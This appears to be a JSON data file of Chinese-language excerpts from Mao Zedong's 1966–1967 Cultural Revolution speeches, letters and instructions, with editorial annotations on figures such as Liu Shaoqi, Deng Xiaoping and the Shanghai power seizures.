    {"text": "十二、关于科学家、技术人员和一般工作人员的政策 对于科学家、技术人员和一般工作人员，只要他们是爱国的，是积极工作的，是不反党反社会主义的，是不里通外国的，在这次运动中，都应该继续采取团结、批评、团结的方针。"},
    {"text": "十六、毛泽东思想是无产阶级文化大革命的行动指南 在无产阶级文化大革命中，要高举毛泽东思想的伟大红旗，实行无产阶级政治挂帅，要在广大工农兵、广大干部和广大知识分子中，开展活学活用毛主席著作的运动，把毛泽东思想作为文化革命的行动指南。"},
    {"text": "各级党委，在这样错综复杂的文化大革命中，更必须认真地活学活用毛主席著作。 特别是要反复学习毛主席有关文化革命和党的领导方法的著作，例如，《新民主主义论》、《在延安文艺座谈会上的讲话》、《关于正确处理人民内部矛盾的问题》、《在中国共产党全国宣传工作会议上的讲话》、《关于领导方法的若干问题》、《党委会的工作方法》。 各级党委，要遵守毛主席历来的指示，贯彻执行从群众中来、到群众中去的群众路线，先做学生，后做先生。"},
    {"text": "在中共八届十一中全会闭幕会上的讲话 在中共八届十一中全会 闭幕会上的讲话 * （一九六六年八月十二日） 关于第九次大会的问题，恐怕要准备一下。第九次大会什么时候召集的问题，要准备一下。已经多年了，八大二次会议到后年就十年了。现在要开九次大会大概是在明年一个适当的时候再开，现在要准备，建议委托中央政治局同它的常委会来筹备这件事，好不好？ 至于这次全会所决定的问题，究竟是正确的还是不正确的，要看以后的实践。我们所决定的那些东西，看来群众是欢迎的。比如中央主要的一个决定就是关于文化大革命，广大的学生和革命教师是支持我们的，而过去那些方针，广大的革命学生跟革命教师是抵抗的，我们是根据这些抵抗来制定这个决定的。但是，究竟这个决定能不能实行，还是要靠我们在座的与不在座的各级领导去做。比如讲依靠群众吧，群众路线，还是有两种可能性：一种是依靠，一种是不依靠；一种是实行群众路线，一种是不实行群众路线。决不要以为，决定上写了，所有的党委，所有的同志就都会实行，总有一小部分人不愿意实行。可能比过去好一些，因为过去没有这样公开的决定，并且这次有组织的保证。这回组织有些改变，政治局委员、政治局候补委员、书记处书记、常委的调整，就保证了中央这个决议以及公报的实行。 对犯错误的同志总是要给他出路，要准许改正错误。不要认为别人犯了错误，就不许他改正错误。我们的政策是惩前毖后，治病救人，一看二帮，团结——批评——团结。我们这个党不是党外无党，我看是党外有党，党内也有派，从来都是如此，这是正常现象。我们过去批评国民党，国民党说党外无党，党内无派，有人就说，“党外无党，帝王思想。党内无派，千奇百怪”。我们共产党也是这样，你说党内无派？它就是有，比如说对群众运动就有两派，不过是占多占少的问题。如果不开这次全会，再搞几个月，我看事情就要坏得多。所以，我看这次会是开得好的，是有结果的。 注 释 * ？？？ 对四位外国专家的大字报的批语 对四位外国专家的 大字报的批语 * （一九六六年九月八日） 林彪、总理、陈毅、陶铸、伯达 〔1〕 五同志： 我同意这张大字报 〔2〕 ，外国革命专家及其孩子要同中国人完全一样，不许两样。请你们讨论一下，凡自愿的，一律同样做。如何，请酌定。 注 释 * ？？？ 〔1〕 林彪，在中共八届十一中全会上继续当选为中央政治局常委，不久被称中央副主席。总理，指周恩来。陈毅，时任中共中央政治局委员、国务院副总理兼外交部部长、外事办公室主任。陶铸，时任中共中央政治局常委、中央书记处常务书记。伯达，即陈伯达，时任中共中央政治局常委、中央文化革命小组组长。 〔2〕 指中共中央文化革命小组办公室调查组一九六六年九月七日抄录的阳早等四位美国专家给国务院外国专家局写的一张大字报。全文如下： 为什么在世界革命心脏工作的外国人被推上修正主义道路？？？ 美国：阳早、史克、寒春、汤反帝 是哪个牛鬼蛇神指使给外国人这种待遇？在中国工作的外国人，不论他是哪个阶级，不论他对待革命是什么态度，都受到了这种“五无、二有”的待遇。 五无：一、没有体力劳动；二、没有思想改造；三、没有接触工农的机会；四、不搞阶级斗争；五、不搞生产斗争。 二有：一、有特高生活待遇；二、有各方面的特殊化。 制定这种待遇是什么思想支配的？这是赫鲁晓夫思想，是修正主义思想，这是剥削阶级思想。这样做的目的是什么？结果又是什么呢？ 一、使要革命的外国人不能真正掌握毛泽东思想，只能在口头上说条条。 二、使革命的外国人革命意志衰退，滑到修正主义道路上去。 三、阻碍在中国的外国小孩成长为坚强的革命者。 四、把革命的外国人和他们的中国阶级兄弟隔离开，破坏他们的阶级感情，破坏无产阶级国际主义。我们认为这不是个别人的问题，而是关系到世界革命的原则的问题。我们坚决反对这种待遇。我们决心要成为真正坚强的革命者，成为坚定的反修战士。为了把反对美帝国主义的斗争进行到底，我们决心锻炼和考验我们自己。 我们的后代必须成为坚强可靠的革命接班人，而绝不允许他们变成修正主义分子。因此我们要求： 一、以阶级兄弟看待我们，而不是以资产阶级专家看待我们。 二、允许并鼓励我们参加体力劳动。 三、帮助我们进行思想改造。 四、允许并鼓励我们密切地结合工农群众。 五、允许并鼓励我们参加三大革命运动。 六、我们的孩子和中国孩子受到同样的待遇和严格的要求。 七、生活待遇和同级的工作人员一样。 八、取消特殊化。 只有这样我们才有可能成为毛主席所要求的革命者。 伟大的无产阶级文化大革命万岁！ 世界人民大团结万岁！ 战无不胜的毛泽东思想万岁！ 中国人民、世界无产阶级和被压迫人民、被压迫民族的伟大领袖毛泽东同志万岁！万万岁！！ 一九六六年八月二十九日"},
    {"text": "驻外机关也要革命化 驻外机关也要革命化 * （一九六六年九月九日） 退陈毅 〔1〕 同志： 这个批评文件 〔2〕 写得很好，值得一切驻外机关注意，来一个革命化，否则很危险。可以先从维也纳做起。请酌定。 注 释 * 这是毛泽东同志在《文化大革命中涉外问题情况简报》第九号上的批语。 〔1〕 陈毅：时任中共中央政治局委员、国务院副总理兼外交部部长、外事办公室主任。 〔2〕 指国务院外事办公室秘书组一九六六年九月八日编印的《文化大革命中涉外问题情况简报》第九号上登载的一位奥地利人写给中共中央马恩列斯著作编译局的信。与这期简报一同报送毛泽东的，还有共青团中央机关文革筹委会、临时书记处九月八日印发的《——坦桑尼亚群众来信对我外事活动中的资产阶级思想作风提出尖锐批评》的材料，批评我驻坦使馆在外交活动中讲排场、摆阔气。毛泽东的批语写在第九号简报上。奥地利来信全文： 亲爱的同志们： 读到关于红卫兵支持你们伟大的无产阶级文化大革命的英雄行为的报导等，我们非常赞赏。以你们的伟大领袖毛泽东的智慧为基础的这一历史革命，对于我们这些致力消灭资产阶级生活方式和资产阶级社会的人来说是一个鼓舞。但是我们认为有些更必要提醒你们注意，你们国内的革命斗争同你们在维也纳的商务代表的突出的资产阶级举止和资本主义生活方式是极不相称的。从他们衣着看来，很难（即使不说是不可能的）把他们同蒋介石走狗区别开来。精制的白绸衬衫和高价西服同先进工人阶级代表的身份是很不相称的。这些代表不仅占有一辆，而且是两辆“列尔来得——奔驰”牌汽车（这种汽车可以说是资本主义剥削者的标志）难道具有必要吗？由于这一明显对比而引起了维也纳人的窃窃私语和嘲讽，使我们听了很痛苦。这样的资产阶级行为不仅损害我们的共产主义事业，而且对于伟大的无产阶级文化大革命也起了不好的作用。我们尊敬地并且迫切地要求你们把这种事到有关当局报告，并且立即采取措施，加以纠正。 致以同志的敬礼 奥地利《红旗》派的同志 一九六六年八月三十日维也纳"},
    {"text": "） 这是我故意大权旁落，可他们不但不自觉，反而和我闹独立王国，许多事情不与我商量，如土地会议、天津讲话、山西合作社、否定调查研究、大捧王光美 〔13〕 。"},
    {"text": "六二年，忽然四个副总理就是李富春、谭震林、李先念、薄一波 〔14〕 到南京来找我，后又到天津，他们要办的事情我马上答应，后来，四个人又回去了，可邓小平就是不来。"},
    {"text": "宁都会议洛甫要开除我，周、朱他们不同意，遵义会议他起了好作用，那个时候没有他们不行，洛甫是顽固的，少奇同志是反对他们的，聂荣臻也是反对他们的。"},
    {"text": "民主党派还要，政协也还要，同红卫兵讲清楚，中国的民主革命是孙中山搞起来的,那时没有共产党，是孙中山领导搞起来的，反康、反梁、反帝制。"},
    {"text": "以前，我处在二线，不主持日常工作，许多事让别人去搞，培养别人的威信，以便我见上帝的时候，国家不会出现那么大的震动，大家赞成这个意见，后来处在一线的同志，有些事情处理得不那么好。"},
    {"text": "第二件事，文化大革命闯了一个大祸，就是批了北大聂元梓一张大字报，给清华附中写了一封信，还有我自己写了一张《炮打司令部》的大字报。"},
    {"text": "这次文化大革命，前几个月，一、二、三、四月用那么多文章，中央又发了（五一六）“通知”，可是并没有引起多大注意，还是大字报、红卫兵一冲，引起注意，不注意不行了。"},
    {"text": "上次开会回去，有些地方没有来得及很好开会，十个书记有七、八个接待红卫兵，一冲就冲乱了，学生们生了气，自己还不知道，也没有准备回答问题，还以为几十分钟讲一讲，表示欢迎就可以了。"},
    {"text": "有的同志说不是有心犯错误，是糊里糊涂犯了错误，可以原谅，也不能完全怪少奇同志和小平同志，他们有责任，中央也有责任，中央也没有管好，时间太短，新的问题没有精神准备，政治思想工作没有做好，我看十七天会议以后会好一些。"},
    {"text": "江渭清于九月八日以个人名义给刘少奇写了封信,报告了江苏省城乡社会主义教育运动的部署,检讨了省委办公厅通知要各地市、县委学习江渭清的一篇讲话,是个严重的错误,并承担了自己的领导责任。 九月三十日,刘少奇给江渭清去信批评江渭清“骄傲自满,固步自封”,指出：“你们必须重新了解本省情况,重新组织革命的阶级队伍,才能进行当前的革命斗争。 ”十月二十日,中央发出《关于认真讨论刘少奇同志答江渭清同志的一封信的指示》。 毛泽东是支持江渭清的，十二月，毛泽东当着江渭清和刘少奇的面说：“少奇同志给你的一封信,是错误的。"},
    {"text": "〔4〕 刘澜涛，时任中共中央西北局第一书记，兼兰州军区第一政委，并担任西北三线建设委员会主任。 〔5〕 李井泉，时任中共中央西南局第一书记，兼成都军区第一政委。"},
    {"text": "〔11〕 一二线，一九五三年底，中央常委分一线二线，毛泽东为二线，其余常委为一线，刘少奇主持常委会，八大时，中央设立书记处，邓小平任总书记，一九五九年，刘少奇接任国家主席，分一线二线后，中央日常事务由一线领导处理，主要是刘少奇、邓小平、周恩来。"},
    {"text": "〔13〕 土地会议，一九四七年夏刘少奇主持的全国土地会议上没有贯彻毛主席的土改方针，错误地实行所谓‘搬石头’的极左做法，提出一套排斥一切干部的做法。 天津讲话，一九四九年春天刘少奇在天津的讲话有右倾错误，有些口号比如提出‘中国不是资本主义大多了，而是资本主义太少了’，‘要发展资本主义剥削，这种剥削是进步的’等等，这些提法在一定程度上制造成思想上的混乱。 山西合作社，指刘少奇于一九五一年七月错误地批评了山西省委关于组织农业生产合作社的决定。 一九五一年二月,山西省委决定试办初级合作社，但华北局认为山西在合作社问题上“冒”了，“用积累公积金和按劳分配来逐步动摇、削弱私有基础直至否定私有基础,是和党的新民主主义时期的政策及《共同纲领》精神不相符合的,因而是错误的，……不宜推广”，刘少奇在听了华北局报告后,原则意见与华北局一致，山西省委不同意这种看法,决定进行申述，“认为七届二中全会已经明确半社会主义性质的合作社是新民主主义五种经济成分之一,我们试办这种初级社,不存在违背《共同纲领》精神的问题。 ”五月七日,刘少奇在全国宣传工作会议上公开批评了山西省委的做法。"},
    {"text": "在这种情况下，感到没有办法了,长治地委第一书记王谦王谦等人就给毛主席写了一封信，全面介绍了长治地区试办农业初级社的情况，毛主席详细了解了各方面意见后，表示,他不能支持华北局,他支持山西省委的意见。"},
    {"text": "他说：“既然西方资本主义在其发展过程中有一个工场手工业阶段,即尚未采用蒸汽动力机械、而依靠工场分工以形成新生产力的阶段,则中国的合作社,依靠统一经营形成新生产力,去动摇私有基础,也是可行的。"},
    {"text": "否定调查研究，一九六四年六月，刘少奇提出：“现在调查研究，按毛主席的办法不行了，现在的办法，只有放手发动群众，在改造客观世界的过程中认识客观世界。"},
    {"text": "目前，我们这种工作方法，层层听汇报，或者看报表，不行了。 这种领导工作、领导革命的方法不行了。 我们现在这种靠会议、报表的领导方法，一定要亡国。"},
    {"text": "” 大捧王光美，一九六三年十一月，刘少奇派遣王光美（化名“董朴”），以河北省公安厅秘书的名义到唐山专区抚宁县卢王庄公社桃园大队任“四清”工作组副组长，在刘的直接指示下创立了所谓的“桃园经验”。"},
    {"text": "然后，王光美又在刘的安排授意下，在中共河北省委工作会议上作了“关于一个大队的社会主义教育运动的经验总结”的报告。 接着刘少奇又安排王光美到各地作报告，传播他们夫妇共同树立的“桃园经验”，以此作为全国“四清”运动的样板。"},
    {"text": "一九六四年八月十九日，刘少奇又以中共中央的名义拟了批语，九月一日，“桃园经验”便作为一个“有普遍意义”的样板由中共中央正式行文介绍到全国各级党政机关。"},
    {"text": "〔15〕 武昌会议，一九五八年十一月二十一日至二十七日在武昌举行的中国共产党政治局扩大会议，参加会议的有部分中央领导人和各省、市、自治区党委第一书记，会议上毛泽东同志对一线领导提出了严厉批评，批评了高指标、浮夸风、穷过渡、做假等现象，要求将指标调下来，但阻力很大。 〔16〕 北京开会，中共中央于一九五九年一月十二六日至二月二日，在北京召开了省、市、自治区党委书记会议，刘少奇主持出议，没有让毛泽东参加，制定了《关于一九五九年国民经济发展计划几个重要问题的说明》，中心内容是“钢产量达到二千万吨，是必须力争完成和超额完成的。"},
    {"text": "” 〔17〕 项英与皖南事变，项英同志是党和红军早期的领导人之一，新四军的创建人和主要领导人之一，任军委新四军军分会书记，同时兼任新四军唯一的副军长，在实行党委负责制的新四军军中，项英实质是最高领导人。"},
    {"text": "项英对于党中央早在一九三八年五月便已决定的新四军在执行中央向东向北发展的战略方针时，始终抱着将信将疑、既执行又打折扣的错误态度，而是总想实施他自己的向南发展的想法。 皖南事变前，毛泽东电令新四军在一九四〇年十二月底前完成北移，项英致电中共中央，表示还是有困难不能北渡，请求指示，毛泽东代中央书记处致电项英等人，严厉批评道：“全国没有任何一个地方像你们这样迟疑犹豫无办法无决心的。 在移动中如遇国民党向你们攻击，你们要有自卫的准备和决心，这个方针也是早已指示你们了，我们不明了你们要我们指示何方针，究竟你们自己有没有方针，现在又提出拖还是走的问题，究竟你们主张的是什么，主张拖还是主张走，似此毫无定见，毫无方向，将来你们要吃大亏的！ ” 项英对新四军军部和皖南部队的转移未能抓住有利时机，在转移途中，犹豫动摇，处置失当，在战场上竟然开了七个小时的紧急会议，得不出结论，使新四军失去了突围的最后时机，最后决定部队重新由原路折回，改向西南前进，到达茂林后，又擅自行动，一度脱离军部，军长叶挺和副书记饶漱石联名发报给中央，报告项英等“率小部武装不告而去，行踪不明”。"},
    {"text": "彭德怀与百团大战，一九四〇年七月二十二日，主持八路军总部工作的彭德怀的准备发动百团大战的《战役预备命令》上报中央军委，出于全面考虑，毛泽东和中央军委一直没有批准，彭德怀这样说：“……未等到军委批准（这是不对的），就提早发起了战斗。"},
    {"text": "更重要的是，百团大战过早地暴露了中共的军事力量，使日军和国民党顽固派加紧了对共产党的围剿，抗日根据地面积缩小，解放区人口由一亿下降到五千万，干部损失很多，使敌后抗战进入严重困难局面。"},
    {"text": "一九六六年五月二十四日,中央发出《关于陆定一同志和杨尚昆同志错误问题的说明》，错误如下： “陆定一同志的妻子严慰冰，是现行反革命分子。 现已查明，严慰冰在一九六〇年三月到一九六六年一月的六年期间，连续写了几十封反党反革命的匿名信，其中百分之九十是集中攻击和辱骂毛泽东同志最亲密的战友林彪同志和他的一家。"},
    {"text": "在严慰冰的卧室内书桌上放着一九六五年二月十五日写的一封匿名信的四页底稿和寄给叶群同志的信封，时间达一年零两个月之久，陆定一不可能不知道。"},
    {"text": "” 杨尚昆，原任中央办公厅主任，一九六六年五月二十四日,中央发出《关于陆定一同志和杨尚昆同志错误问题的说明》，关于杨尚昆的问题，文件定性为：“（一）他不顾中央多次关于禁止安装窃听器的决定，背着中央，私设窃听器，私录毛主席和常委同志的讲话，盗窃党的机密。"},
    {"text": "毛泽东专列停在长沙车站，一名通信兵在站台上见到毛泽东机要秘书张玉凤，就模仿毛泽东口音开玩笑，而其所说正是毛泽东在车厢和张玉凤说的话。"},
    {"text": "而罗瑞卿则说是杨尚昆根据政治局会议决议要求他在车厢安装窃听器，以便政治局成员及时了解毛泽东的指示以便贯彻执行，罗瑞卿并出示了政治局的决议文件。"},
    {"text": "（三）有严重错误，但还不是反党反社会主义的右派分子。 （四）少量的反党反社会主义的右派分子。 四类干部是指反党反社会主义的右派分子。"},
    {"text": "一九六六年八月十九日，在毛泽东写出《炮打司令部——我的一张大字报》十三天后，中共河南省委第一书记刘建勋也写出了《我的一张大字报》，公开表态支持郑州大学造反学生党言川等“少数派”，并号召“炮打司令部”，一九六六年六月一日晚，中文系学生王相海等十四位学生贴出了《请问学校领导，对文化大革命究竟抱什么态度？"},
    {"text": "在全校性的反击开始中，王相海等少数学生被戴上“小邓拓”、“小吴晗”、“反革命”、“小右派”、“牛鬼蛇神”等帽子被围攻、批斗，六月六日凌晨，共产党员、团支部书记王相海跳楼自杀身亡。"},
    {"text": "八月六日，中文系四年级学生党言川去北京，向毛主席、党中央反映河南和郑州大学文革情况，接着方复山、刘松盛二同学也去到北京。 三人联名发表《致北京革命学生的公开信》，系统地向首都人民说明河南文化大革命存在的问题，同时向国务院接待站作了汇报。 一九六六年八月十四日下午，参加中共八届十一中全会的刘建勋在北京接见党言川等三位同学，明确地讲：“回到河南后，要在郑州召开一、二十万人的群众大会，号召大家炮打省委司令部，首先炮轰我这个司令官。 ”一九六六年八月十九日，在郑州大学全体师生员工大会，河南省委书记处候补书记兼省委秘书长纪登奎宣读了刘建勋的《我的一张大字报》。 大字报中说：党言川等三位同学到北京向党中央、毛主席要求汇报郑大文化革命情况，这不仅不是什么非法行为，而是一种革命行动；"},
    {"text": "〔24〕 二十三条，一九六四年底到一九六五年一月，中央政治局召集全国工作会议，在毛泽东的主持下讨论制定了《农村社会主义教育运动中目前提出的一些问题》（共“二十三条”），将“四清”的内容规定为清政治、清经济、清组织、清思想，强调这次运动的性质是解决“社会主义和资本主义的矛盾”，提出这次运动的重点是整“党内那些走资本主义道路的当权派。"},
    {"text": "斗争要文明些，坚持文斗，不用武斗 斗争要文明些， 坚持文斗，不用武斗 * （一九六六年十二月二十七日） （一）一九六六年十二月二十七日的信 恩来 〔1〕 同志： 最近，不少来京革命师生和革命群众来信问我，给走资本主义道路的当权派和牛鬼蛇神戴高帽子、打花脸、游街是否算武斗？ 我认为：这种作法应该算是武斗的一种形式。这种作法不好。这种作法达不到教育人民的目的。 这里我强调一下，在斗争中一定要坚持文斗，不用武斗，因为武斗只能触及人的身体，不能触及人的灵魂。只有坚持文斗，不用武斗，摆事实，讲道理，以理服人，才能斗出水平来，才能真正达到教育人民的目的。 应该分析，武斗绝大多数是少数别有用心的资产阶级反动分子挑动起来的，他们有意破坏党的政策，破坏无产阶级文化大革命，降低党的威信。凡是动手打人的，应该依法处之。 请转告来京革命师生和革命群众。 （二）一九六七年二月三日的指示 斗争要文明些，我们是无产阶级专政，要高姿态，要高风格。北京街头上标语水平不高，到处都打倒、砸烂狗头，那有那么多的狗头，都是人头。这样搞群众很难理解。搞喷气式飞机照相片，登报贴在大街上被外国记者搞走了。现在要将斗争水平提高，现在水平太低。 八月初，也没这凶嘛，斗倒斗臭要在政治上斗臭，要对后代进行教育。不然他们 〔2〕 将来掌权了，也这样干，这就太简单化了。 他们认为这样斗臭了，还有把别人生活上的问题摆出来也叫斗臭了，我看不合适。 主要是政治上斗臭。 注 释 * 这是毛泽东同志给周恩来同志的一封信和指示。 〔1〕 恩来，周恩来，时任国务院总理。 〔2〕 他们，指有可能翻案的走资本主义当权派。 对刘少奇到学校做公开检查的批示 对刘少奇到学校 做公开检查的批示 * （一九六七年一月六日） 总理： 此件请你酌处。我看还是不宜去讲。请你向学生方面做些工作 〔2〕 。 注 释 * 这是毛泽东同志在刘少奇信 〔1〕 上的批语 〔1〕 一九六七年一月五日，刘少奇给毛泽东写信说：“北京建筑工业学院井冈山红卫兵总部来信，要我在一月七日四时以前到该院作公开检查。另有该院‘八一团红卫兵’来信，也要我到该院作检查。我是否到该院去作检查？请主席批示！” 毛泽东阅信后，写了这个批语。 〔2〕 国务院总理周恩来一九六七年一月七日凌晨接见北京建筑工业学院学生代表，制止了他们要求刘少奇到该院作检查的行动。"},
    {"text": "对《文汇报》、《解放日报》夺权事件的谈话 对《文汇报》、《解放日报》 夺权事件的谈话 * （一九六七年一月八日） 《文汇报》现在左派夺了权，四号造了反，《解放日报》六号也造了反，这个方向是好的。 《文汇报》夺权后，三期报都看了，选登了红卫兵的文章，有些好文章可以选登。"},
    {"text": "这两张报一出来，一定会影响华东、全国各省、市。 这件大事对于整个华东，对于全国各省市的无产阶级文化大革命运动的发展，必将起着巨大的推动作用。"},
    {"text": "上海革命力量起来，全国就有希望，它不能不影响华东，以及全国各省市，《告全市人民书》是少有的好文章，讲的是上海市，问题是全国性的。"},
    {"text": "〔1〕 一九六七年一月四日，文汇报社“星火燎原革命造反总部”在该报发表《告读者书》，宣布接管《文汇报》； 一月六日，解放日报社“革命造反联合司令部”在该报发表《告读者书》，宣布接管《解放日报》。 〔2〕 指一九六七年一月五日，“上海工人革命造反总司令部”等十一个造反组织在《文汇报》发表《抓革命，促生产，彻底粉碎资产阶级反动路线的新反扑——告上海全市人民书》。 一月九日，《人民日报》全文转载，告上海全市人民书全文如下： 伟大的无产阶级文化大革命在以毛主席为代表的无产阶级革命路线的指引下，几个月来所开展的批判资产阶级反动路线的群众运动，已经取得了极大的胜利。"},
    {"text": "《人民日报》《红旗》杂志元旦社论指出：“一九六七年，将是全国全面展开阶级斗争的一年。 一九六七年，将是无产阶级联合其他革命群众，向党内一小撮走资本主义道路的当权派和社会上的牛鬼蛇神，展开总攻击的一年。 一九六七年，将是更加深入地批判资产阶级反动路线，清除它的影响的一年。 一九六七年，将是一斗、二批、三改取得决定性的胜利的一年。 ”也就是说，一九六七年将是资产阶级反动路线全线崩溃彻底瓦解的一年，将是无产阶级文化大革命取得决定性的伟大胜利的一年。"},
    {"text": "上海市广大革命群众，在批判上海地区党内一小撮人所执行的资产阶级反动路线的斗争中，也取得了初步的胜利，并进入了一个更深入、更广阔的新阶段。"},
    {"text": "”我们革命造反派深深地懂得：不搞好无产阶级文化大革命，我们的生产就会迷失方向，就会滑到资本主义的方向上去。 我们在无产阶级文化大革命中所亲身经历的事实越来越多地证明：只有无产阶级文化大革命搞好了，生产才会有更大的发展。 把文化大革命同发展生产对立起来的看法，是错误的。 可是，党内一小撮走资本主义道路的当权派和顽固地坚持资产阶级反动路线的人十分仇视无产阶级文化大革命，他们千方百计地对抗毛主席提出的“抓革命，促生产”的方针。 他们的阴谋手段大致表现如下： 运动初期，他们以“抓生产”为名，来压制革命，反对抓革命。 我们革命造反派的工人要起来革命，要批判资产阶级反动路线，他们就以生产任务压工人，给我们扣上“破坏生产”的大帽子。"},
    {"text": "于是，他们又抛出了另一种花招，以极“左”的面目，以漂亮的革命词句，煽动大批被他们蒙蔽的工人赤卫队队员借口北上“告状”为名，破坏生产，破坏交通运输，以达到他们破坏无产阶级文化大革命，破坏无产阶级专政的目的。"},
    {"text": "但是，最近在很多工厂中出现部分或者大部分的赤卫队员停止生产、离开生产岗位的现象，这就直接违反了中央关于抓革命、促生产的规定，直接影响了人民的生活和国民经济建设的发展。"},
    {"text": "我们的革命造反派工人牢记着毛主席的教导，顶着这股逆流，发挥了高度的革命负责精神，在极其困难的条件下，顶起了全厂的生产，有力地打击了党内一小撮走资本主义道路的当权派，粉碎了他们企图用破坏生产来打击革命的大阴谋。"},
    {"text": "我们希望你们要听毛主席的话，在这个重大原则问题上，一定要擦亮眼睛，明辨是非，不要再受骗了，赶快觉悟过来，回到生产岗位上来，回到无产阶级革命路线上来。"},
    {"text": "我们革命造反派的同志们一定会热情地欢迎你们回来，和我们共同革命，共同搞好生产，我们一定不会责怪你们，因为我们都是阶级亲兄弟，因为你们中绝大部分是受资产阶级反动路线毒害的人，是受党内走资本主义道路当权派和顽固地执行资产阶级反动路线的人蒙蔽的革命群众。"},
    {"text": "让我们和广大革命工人紧紧结合在一起，为了坚决贯彻执行毛主席提出的“抓革命，促生产”的方针，广泛地开展宣传和斗争，更坚决地向资产阶级反动路线猛烈开火，打垮资产阶级反动路线的一切新反扑，将工厂的无产阶级文化大革命推向一个新高潮！"},
    {"text": "我们工人阶级、贫下中农、一切劳动者同革命学生、革命知识分子、革命干部联合起来，共同努力，并肩战斗，乘胜前进，把无产阶级文化大革命进行到底！"},
    {"text": "上海工人革命造反总司令部 红卫兵上海市大专院校革命委员会（红革会） 上海市反到底联络总部 上海新闻界革命造反委员会 上海市炮打司令部联合兵团 同济大学东方红兵团 上海交通大学反到底兵团 首都第三司令部驻沪联络站 北京航空学院红旗战斗队驻沪联络站 哈尔滨军事工程学院红色造反团驻沪联络站 西安军事电讯工程学院文革临委会驻沪联络站 一九六七年一月四日 〔3〕 吴冷西，一九五七年六月至一九六六年五月任《人民日报》总编辑，《人民日报》被夺权后，由唐平铸接任。"},
    {"text": "〔4〕 《人民日报》在大跃进期间发表了一系列浮夸和错误的文章，如《人有多大胆，地有多大产》，吴冷西在《忆毛主席》中说：“到了（一九五八）五月间的八大二次会议，解放思想、敢想敢做的呼声压倒一切。 我主持人民日报和新华社的宣传也随大流，但因有毛主席的再三叮咛，开始还是比较谨慎，但到了六月份，农业上的生产“卫星”开始放了，接着是钢铁“卫星”、煤炭“卫星”也陆续出现了，大跃进形成高潮，浮夸风到处泛滥。"},
    {"text": "虽然不能说人民日报和新华社应对一九五八年的浮夸风和共产风负有主要责任，但我主持这两个单位的宣传工作在这期间所造成的恶劣影响，至今仍深感内疚。"},
    {"text": "论夺权 论夺权 * （一九六七年一月） （一）在中共中央政治局常委扩大会议上的讲话摘要 （一九六七年一月十六日） 我们的干部十几年来有些人变质了。 左派群众起来夺权，这是好的。右派夺权当然不好。左派的力量发展很快。上海的左派工人去年十一月上旬只有一千多人，今年一月上旬一百万，再加上学生，就是主力。 过去是军队打江山，现在是工农自己打江山，军队帮助。 群众选举新的干部，就让他们选嘛！厂长、书记让他们去选。被接管的地方可以选。 接管很好，只管政务，不管业务，事情还是原来的人去搞，我们只管监督。 （二）谢富治 〔1〕 对公安干部传达的指示 （一九六七年一月十七日） 接管是不可避免的。 我们这个政府，过去是上面派去少数干部和下面大多数留用人员组成了政府，不是工人、农民起来闹革命夺得了政府，这就很容易产生封建主义、修正主义的东西。 （谢富治：我们老一点的同志，对这个运动不理解，从开始就不理解，到现在还不理解，转不过弯来。） 转不过弯来靠边站，但给饭吃。 （三）对张春桥 〔2〕 上海来电请示夺权问题的答复 （一九六七年一月二十三日） 如果权落在右派手里，权本来就在右派手里，夺过来。如果再被别人夺过去。仍然在右派手里，没有什么了不起，还可以再夺。 （四）在军委扩大会议上的讲话 （一九六七年一月二十七日） 一、军队对文化大革命的态度，在运动开始时是不介入的，但实际上已介入了（如材料送到军队上去保管，有的干部去军队）。在现在的形势下，两条路线的斗争非常尖锐的情况下，不能不介人，介入就必须支持左派。 二、老干部的多数到现在对文化大革命还不了解，多数靠吃老本，过去有功劳要很好地在这次运动中锻炼自己，改造自己。要立新功，要立新劳。要坚决站在左派方面，不能和稀泥，坚决支持左派，之后在左派的接管和监督下，搞好工作。 三、关于夺权。报纸上说夺走资本主义道路当权派和坚持资产阶级反动路线顽固分子的权，不是这样的不能夺？现在看来不能仔细分，应该夺来再说，不能形而上学，否则受限制，夺来后，是什么性质的当权派，在运动后期再判断，夺权后报国务院同意。 四、夺权前的老干部和新夺权的干部要共同搞好业务，保守国家机密。 （五）为《红旗》杂志一九六七年第三期社论《论无产阶级革命派的夺权斗争》所加的话 （一九六七年一月三十日） 无产阶级革命派联合起来，向党内一小撮走资本主义道路当权派夺权！ 认为只要是当权派，就一概不相信，这是不对的。不分青红皂白，反对一切，排斥一切，打倒一切，是违背马克思列宁主义、毛泽东思想的阶级观点的。 对于犯有错误的干部，要正确对待，不能一概打倒。只要不是反党反社会主义分子而又坚持不改和累教不改的，就要允许他们改过，鼓励他们将功赎罪。惩前毖后、治病救人，这是党的传统政策。只有这样才能使犯错误的本人心悦诚服，也才能使无产阶级革命派取得大多数人的衷心拥护，使自己立于不败之地，否则是很危险的。 各级干部，都要经受无产阶级文化大革命的考验，都应该为无产阶级文化大革命建立新的功劳，不能躺在过去的成绩上自以为了不起，看轻新起来的革命小将。对自己只看见过去的功劳，而看不见今天的革命大方向。对新的革命小将则又只看见他们的某些缺点错误，而看不见他们的革命大方向是正确的。这样的看法是完全错误的，必须改过来。 在当前无产阶级同资产阶级及其在党内一小撮代理人决战的阶段，坚持反动立场的地主、富农和资产阶级右派分子、坏分子、反革命修正主义分子、美蒋特务，都纷纷出笼。这批牛鬼蛇神，造谣惑众，欺骗、拉拢一些不明真相的人，成立反革命组织，疯狂地进行反革命活动。例如，所谓“中国工农红旗军”，所谓“荣复军”、“联合行动委员会”以及其他一些被修正主义分子组织起来的名为“革命派”，实是保字派的组织，就是这种反动组织。这些组织中的多数群众是受蒙蔽的，是应当争取教育的。但是，这些反动组织的一小撮头头，却处心积虑地炮打无产阶级的革命司令部，向无产阶级革命派夺权，袭击革命群众组织，暗害革命群众，收买职工，停止生产，中断交通，破坏和抢劫国家财产。他们趁火打劫，妄想变天。这种反动组织，有的就是在顽固的走资本主义道路当权派的指挥下进行反革命活动的。这种反动组织，是建筑在沙滩上的，一旦被群众识破，就会立即土崩瓦解，一小撮头头就会被群众揪出来。 注 释 * 这是毛泽东同志就夺权问题的一系列指示。 〔1〕 谢富治，时任公安部部长，国务院副总理。 〔2〕 张春桥，时任中央文革副组长，上海革命委员会主任。"},
    {"text": "人民解放军应该支持左派广大群众 人民解放军应该支持 左派广大群众 * （一九六七年一月二十一日） 林彪 〔2〕 同志： 应派军队支持左派广大群众 〔3〕 。"},
    {"text": "〔1〕 中国人民解放军南京军区党委一九六七年一月二十一日向中共中央军委副主席林彪并中央军委报告说，“顷接安徽军区报告，首都第三造反司令部驻安徽联络站等单位向安徽军区提出，廿二日到廿三日，在合肥召开十五万到二十万人大会”，“要安徽军区派出三百到五百名部队警卫会场。"},
